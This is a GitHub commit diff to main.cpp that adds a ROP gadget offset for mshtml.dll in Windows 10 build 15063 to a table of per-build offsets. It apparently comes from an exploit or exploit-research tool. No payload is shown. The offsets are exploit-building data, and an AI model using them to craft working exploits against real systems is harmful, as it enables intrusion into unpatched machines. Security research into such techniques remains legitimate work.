Skip to content

Commit f8d5ec0

Browse files
committed
Added the ROP gadget offset for the "mshtml.dll" file included with the Windows 10 Creators Update release, build v10.0.15063.0.
1 parent 114d766 commit f8d5ec0

File tree

1 file changed

+11
-1
lines changed

1 file changed

+11
-1
lines changed

main.cpp

+11-1
Original file line numberDiff line numberDiff line change
@@ -18,9 +18,19 @@ namespace {
1818
uint32_t relative_offset;
1919
};
2020

21+
/*
22+
* See https://changewindows.org/ for a detailed Windows 10 release history,
23+
* including updates to milestone releases. A new build of the "mshtml.dll"
24+
* file has not been included with every update.
25+
*/
26+
2127
vector<VersionToOffset> mshtml_gadget_offset_map = {
28+
// Windows 10 Creators Update (Build v10.0.15063.0 as of Mar 20, 2017)
29+
{ 11, 0, 15063, 0, 0x00585098 },
30+
// Windows 10 Anniversary Update (Build v10.0.14393.953 as of Mar 14, 2017)
2231
{ 11, 0, 14393, 953, 0x003CBD4D },
23-
{ 0, 0, 0, 0, 0x006D55DD } // Provides the default ROP gadget offset (for Windows v8.1?)
32+
// The default ROP gadget offset (for Windows v8.1?)
33+
{ 0, 0, 0, 0, 0x006D55DD }
2434
};
2535

2636
struct SetupConfiguration {

0 commit comments

Comments
 (0)